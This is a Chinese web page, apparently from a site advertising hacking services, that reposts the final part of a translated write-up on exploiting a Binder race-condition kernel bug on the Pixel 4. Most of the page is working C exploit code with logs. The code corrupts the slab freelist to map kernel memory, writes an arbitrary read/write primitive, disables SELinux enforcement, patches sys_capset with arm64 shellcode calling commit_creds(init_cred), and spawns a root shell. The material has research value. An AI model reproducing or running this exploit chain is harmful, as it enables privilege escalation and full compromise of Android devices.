当前位置:首页 > 黑客业务 > 正文内容

深入分析Binder中的单指令竞态条件漏洞(五)

访客4年前 (2021-04-09)黑客业务493

  在本文中,我们将为读者深入介绍Binder中的单指令竞态条件漏洞及其利用方法。

  (接上文)

  因为我们不确定我们是否能够用正确的swapper_pg_dir地址替换freelist指针,所以我们需要用另一种方式将它写在其他地方,并使freelist指针指向它。这样,我们就可以在两个而不是一个分配中编写描述符。这个阶段有点复杂,我们将一步一步地解释。

  此过程的第一个要求是找到一个完全用零填充并且足够大的内核内存区域,以便即使signalfd修改我们的原始地址,我们也将最终进入其中(即,它应该大于0x40100字节)。应该用零填充的原因是因为我们将在其中分配slab对象,并且如果在此处存在非null值,它将用一个不可控制的地址替换freelist指针,并且如果随后进行分配,则会使系统崩溃发生在未映射或正在使用的内存中。

  内核中可能存在满足这些要求的地址。就这里来说,我们选择了长度为0x198000的ipa_testbus_mem缓冲区。它是基于Qualcomm的设备所特有的,足以应对我们的Pixel 4攻击。

  lyte@debian:~$ aarch64-linux-gnu-nm --print-size vmlinux | grep ipa_testbus_mem

  ffffff900c19b0b8 0000000000198000 b ipa_testbus_mem

  为了举例起见,我们将假设该缓冲区位于地址0x10000000处。如果我们要将freelist指针改为指向这个地址,它将被转换为0x10040100。但是,在这种情况下,这并不是一个问题,因为我们仍将以原始缓冲区结尾,并确保0x10040100的值仍为零。

  

  正如我们前面所说的,我们将分两次进行分配。第一次是在ipa_testbus_mem中进行的分配,它将设置下一个freelist指针的值,并使其指向我们的swapper_pg_dir条目地址。然后,我们将释放所有内容,并利用该值重做一系列signalfd,以最终分配到swapper_pg_dir中的条目的内存空间。但是,要进行第一次分配,我们需要一个允许我们写入至少8个字节的任意值的对象。我们可以重用sendmsgs,但是它们需要被阻塞,因为我们必须耗尽slab的freelist才能到达我们的分配位置。由于非阻塞的sendmsg会被立即释放,所以情况就不是这样了。阻塞sendmsgs是一个潜在的解决方案,但是它的设置工作要比我们选择的对象(即eventfd)多一些。

  struct eventfd_ctx {

  struct kref kref;

  wait_queue_head_t wqh;

  __u64 count;

  unsigned int flags;

  };

  利用eventfd的count字段,可以在内核内存中写入任意值。只需在eventfd返回的文件描述符上使用write写入一个值,就会使count递增相同的量。现在,策略如下:

  使重叠信号FD与悬空存储器重叠

  使用重叠的signalfd改变freelist指针,使其指向ipa_testbus_mem | 0x40100,这样signalfd带来的变化就不重要了

  使用eventfds喷射,并在count中写入swapper_pg_dir条目的地址

  

  

  在这个阶段,我们已经在内核内存中获得了一个持久的用户控制值。现在的想法是,使用这个值作为Slab的freelist的一部分。接下来的步骤如下:

  释放所有eventfds

  使用重叠signalfd篡改freelist指针,使其指向ipa_testbus_mem | 0x40100 + 0x20 (0x20为eventfd_ctx中count的偏移量)

  使用其sigset值设置为块描述符0x00E8000080000751的signalfds进行喷射

  

  

  

  一旦将条目写入swapper_pg_dir,我们就可以使用基地址0xFFFFFFF800000000从内核内存中进行任意的读写操作。

  具体实现代码如下所示:

  uint64_t bss_target=(kaslr_leak + IPA_TESTBUS_MEM) | 0x40100;

  debug_printf("BSS alloc will be @%lx", bss_target);

  uint64_t sigset_target=~bss_target;

  ret=signalfd(overlapping_fd, (sigset_t*)&sigset_target, 0);

  if (ret < 0)

  debug_printf("Could not change overlapping_fd value with %lx", bss_target);

  mask=get_sigfd_sigmask(overlapping_fd);

  debug_printf("Value @X after changing overlapping_fd is %lx", mask);

  uint64_t gb=0x40000000;

  uint64_t index=0x1e0;

  uint64_t base=0xffffff8000000000 + gb * index;

  uint64_t target=kaslr_leak + SWAPPER_PG_DIR + index * 8;

  debug_printf("Swapper dir alloc will be @%lx (index=%lx, base=%lx)",

  target, index, base);

  for (int i=0; i < NB_EVENTFDS_FINAL; i++) {

  eventfd_bss[i]=eventfd(0, EFD_NONBLOCK);

  if (eventfd_bss[i] < 0)

  debug_printf("Could not open eventfd - %d (%s)", eventfd_bss[i], strerror(errno));

  ret=write(eventfd_bss[i], &target, sizeof(uint64_t));

  if (ret < 0)

  debug_printf("Could not write eventfd - %d (%s)", eventfd_bss[i], strerror(errno));

  }

  uint64_t orig_mask=get_sigfd_sigmask(overlapping_fd);

  for (int i=0; i < NB_EVENTFDS_FINAL; i++) {

  ret=close(eventfd_bss[i]);

  if (ret < 0)

  debug_printf("Could not close eventfd (%d - %s)", eventfd_bss[i], strerror(errno));

  mask=get_sigfd_sigmask(overlapping_fd);

  if (mask !=orig_mask) goto next_stage;

  }

  next_stage:

  bss_target=bss_target + (uint64_t)0x20;

  uint64_t sigset_target=~bss_target;

  ret=signalfd(overlapping_fd, (sigset_t*)&sigset_target, 0);

  if (ret < 0)

  debug_printf("Could not change overlapping_fd value with %lx", bss_target);

  mask=get_sigfd_sigmask(overlapping_fd);

  debug_printf("Value @X after changing overlapping_fd is %lx", mask);

  uint64_t block_descriptor=0x00e8000000000751;

  block_descriptor +=0x80000000;

  int signalfd_bss[NB_SIGNALFDS_FINAL];

  for (int i=0; i < NB_SIGNALFDS_FINAL; i++) {

  unsigned long sigset_value=~block_descriptor;

  signalfd_bss[i]=signalfd(-1, (sigset_t*)&sigset_value, 0);

  if (signalfd_bss[i] < 0)

  debug_printf("Could not open signalfd - %d (%s)", signalfd_bss[i], strerror(errno));

  }

  debug_printf("Kernel text value=%lx", *(unsigned long *)(base + 0x80000));

  结果如下所示:

  [6397] exploit.c:419:trigger_thread_func(): Swapper dir alloc will be @ffffff9a130b5f00 (index=1e0, base=fffffff800000000)

  [6498] exploit.c:431:trigger_thread_func(): BSS alloc will be @ffffff9a12f45158

  [6498] exploit.c:437:trigger_thread_func(): Value @X after changing overlapping_fd is ffffff9a12f45158

  [6498] exploit.c:483:trigger_thread_func(): Value @X after changing overlapping_fd is ffffff9a12f45178

  [6397] exploit.c:508:trigger_thread_func(): Kernel text value=148cc000

  我们还可以注意到,我们映射的部分的前四个字节对应于vmlinux二进制文件的开头部分:

  lyte@debian:~$ xxd vmlinux | head

  00000000: 00c0 8c14 0000 0000 0000 0800 0000 0000 ................

  00000010: 0070 2303 0000 0000 0a00 0000 0000 0000 .p#.............

  00000020: 0000 0000 0000 0000 0000 0000 0000 0000 ................

  我们现在正处于漏洞利用的最后阶段。在本节中,我们将利用我们的任意内核读/写原语来禁用SELinux,修改进程的凭据并最终获得root shell。

  这一部分非常简单,对于Android攻击来说也很常见。我们只需将selinux_enforcing设置为0即可。

  uint64_t selinux_enforcing_addr=base + 0x80000 + SELINUX_ENFORCING;

  debug_printf("Before: enforcing=%x

  ", *(uint32_t *)selinux_enforcing_addr);

  *(uint32_t *)selinux_enforcing_addr=0;

  debug_printf("After: enforcing=%x

  ", *(uint32_t *)selinux_enforcing_addr);

  使用上面给出的代码片段,您应该会看到如下所示的输出:

  [6397] exploit.c:508:trigger_thread_func(): Before: enforcing=1

  [6397] exploit.c:508:trigger_thread_func(): After: enforcing=0

  现在,剩下的最后一个问题是获取进程的root权限。为了实现这一点,我们将使用我们的read/write原语临时修改一个syscall处理程序。在本例中,我们将修改sys_capset,但在实践中,任何syscall都可以使用,只需确保它们在漏洞利用代码运行时被调用的机率很小即可。

  为了获得root的权限和功能,我们将把exploit进程的凭据更改为init的凭据。为此,在init_cred上添加一个简单的commit_creds就可以解决这个问题。

  这个过程对应的C代码如下所示:

  #define LO_DWORD(addr) ((addr) & 0xffffffff)

  #define HI_DWORD(addr) LO_DWORD((addr) >> 32)

  uint64_t sys_capset_addr=base + 0x80000 + SYS_CAPSET;

  uint64_t init_cred_addr=kaslr_leak + INIT_CRED;

  uint64_t commit_creds_addr=kaslr_leak + COMMIT_CREDS;

  uint32_t shellcode[]={

  // commit_creds(init_cred)

  0x58000040, // ldr x0, .+8

  0x14000003, // b .+12

  LO_DWORD(init_cred_addr),

  HI_DWORD(init_cred_addr),

  0x58000041, // ldr x1, .+8

  0x14000003, // b .+12

  LO_DWORD(commit_creds_addr),

  HI_DWORD(commit_creds_addr),

  0xA9BF7BFD, // stp x29, x30, [sp, #-0x10]!

  0xD63F0020, // blr x1

  0xA8C17BFD, // ldp x29, x30, [sp], #0x10

  0x2A1F03E0, // mov w0, wzr

  0xD65F03C0, // ret

  };

  uint8_t sys_capset[sizeof(shellcode)];

  memcpy(sys_capset, sys_capset_addr, sizeof(sys_capset));

  debug_print("Patching SyS_capset()

  ");

  memcpy(sys_capset_addr, shellcode, sizeof(shellcode));

  ret=capset(NULL, NULL);

  debug_printf("capset returned %d", ret);

  if (ret < 0) perror("capset failed");

  debug_print("Restoring SyS_capset()");

  memcpy(sys_capset_addr, sys_capset, sizeof(sys_capset));

  system("sh");

  exit(0);

  最后,我们可以将所有内容放在一起,启动exploit,就可以获取root shell了。

  [6397] exploit.c:508:trigger_thread_func(): Patching SyS_capset()

  [6397] exploit.c:585:trigger_thread_func(): capset returned 0

  [6397] exploit.c:588:trigger_thread_func(): Restoring SyS_capset()

  id

  uid=0(root) gid=0(root) groups=0(root) context=u:r:kernel:s0

  uname -a

  Linux localhost 4.14.170-g5513138224ab-ab6570431 #1 SMP PREEMPT Tue Jun 9 02:18:01 UTC 2020 aarch64

  Binder Transactions In The Bowels of the Linux Kernel - Synkactiv

  

  Exploiting CVE-2020-0041: Escaping the Chrome Sandbox - Blue Frost Security

  Part 1:

  Part 2:

  Android Kernel Sources - Before the patch for CVE-2020-0423

  

  Service Manager Sources

  

  Building a Pixel kernel with KASAN+KCOV

  

  The SLUB allocator - PaoloMonti42

  

  Google Developers - Pixel 4 "flame" factory images

  

  Mitigations are attack surface, too - Project Zero

  

  CVE-2017-11176: A step-by-step Linux Kernel exploitation - Lexfo

  Part 1:

  Part 2:

  Part 3:

  Part 4:

  KSMA: Breaking Android kernel isolation and Rooting with ARM MMU features - ThomasKing

  

  原文地址:

扫描二维码推送至手机访问。

版权声明:本文由黑客接单发布,如需转载请注明出处。

本文链接:https://therlest.com/106496.html

分享给朋友:

“深入分析Binder中的单指令竞态条件漏洞(五)” 的相关文章

猪肉怎么选?颜色有区别吗?今天做饭的时候发现上次买的猪肉颜色跟这

猪肉怎么选?颜色有区别吗?今天做饭的时候发现上次买的猪肉颜色跟这 买猪肉时,根据肉的颜色、外观、气味等可以判断出肉的质量是好还是坏。优质的猪肉,脂肪白而硬,且带有香味。肉的外面往往有一层稍带干燥的膜,肉质紧密,富有弹性,手指压后凹陷处立即复原。 次鲜肉肉色较鲜肉暗,缺乏光泽,脂肪呈灰白色;表面带...

西湖论剑 Flagshop 分析复现

本文首发于“合天智汇”公众号 作者:xiaoleung title: 西湖论剑 Flagshop 分析复现 date: 2020-10-13 13:12:04 tags: CTF 本文推荐实验 PWN综合练习(三) 实验:PWN综合练习(三)(合天网安实验室) CTF PWN进阶训练实...

全球最大黑客组织匿名者「公司被黑客攻击要求汇比特币怎么办」

⒈匿名者黑客组织匿名者黑客组织是世界最大的黑客组织,也是世界最大的政治意识黑客组织。其关键遍布于美国,次之为欧洲国家,非州、南美洲、亚洲地区等地都是有其各分部。“匿。 ⒉世界上最大黑客组织匿名者向IS开战 匿名者是啥机构 - 百度搜索。是一个黑客组织,你能了解为一群很牛逼的计算机网大神。 ⒊匿名...

宝宝适合什么样的袜子 如何选购幼儿袜子

有的母亲不习惯帮小宝宝加上棉袜,特别是在在夏季更是如此。可是在秋冬季的情况下,小宝宝的脚部防寒保暖是务必的,小宝宝的脚部的防寒保暖才不容易发烧感冒,那麼怎样购买小宝宝棉袜呢?下边的我为大伙儿共享小宝宝合适哪些的棉袜,在选择小宝宝棉袜的全过程中什么技巧呢?针对选购儿童但是我提议新手妈妈要帮小宝宝穿双棉...

小编教你在电脑上如何制作表格

在大家办公室或是校园内的情况下,有时必须采用报表来统计分析一些数据信息或是备案一些信息内容。此刻大家一般都是会应用Excel专用工具来做表格,有一些初学者新手还不明白在电脑上上做表格的方式。今日我教你在电脑上怎样做表格。下边就要我们一起来瞧瞧吧。 电脑上做表格详尽实例教程: 1.大家最先在电脑上...

睡觉能够戴手表吗 睡觉戴手表对身体有害吗

入睡应当让人体竭尽全力的获得释放压力。腕表是如今许多 都喜爱戴的一种是装饰品、许多 人都对自身的腕表欲罢不能有的乃至晚上入睡都不舍得取出来。腕表变卡紧手腕,倘若长久性受压迫手腕动脉。入睡可以戴表吗 入睡戴表对人体危害吗。产生有关详细介绍。 入睡可以戴表吗 一切正常而言,一般的自动机械手表在睡觉...

评论列表

慵吋空宴
2年前 (2022-06-15)

样,我们就可以在两个而不是一个分配中编写描述符。这个阶段有点复杂,我们将一步一步地解释。  此过程的第一个要求是找到一个完全用零填充并且足够大的内核内存区域,以便即使signalfd修改我们的原始地址,我们也将最终进入其中(即,它应该大于0x40100字节)。应该用零

痛言梦息
2年前 (2022-06-15)

来说也很常见。我们只需将selinux_enforcing设置为0即可。  uint64_t selinux_enforcing_addr=base + 0x80000 + SELIN

竹祭本萝
2年前 (2022-06-15)

(%s)", eventfd_bss[i], strerror(errno));  ret=write(eventfd_bss[i], &target, sizeof(uint64_t));  if (ret < 0)

莣萳木落
2年前 (2022-06-15)

BF7BFD, // stp x29, x30, [sp, #-0x10]!  0xD63F0020, // blr x1  0xA8C17BFD, // ldp x29, x30, [sp], #0x10  0x2A1F03E0, // mov

发表评论

访客

◎欢迎参与讨论,请在这里发表您的看法和观点。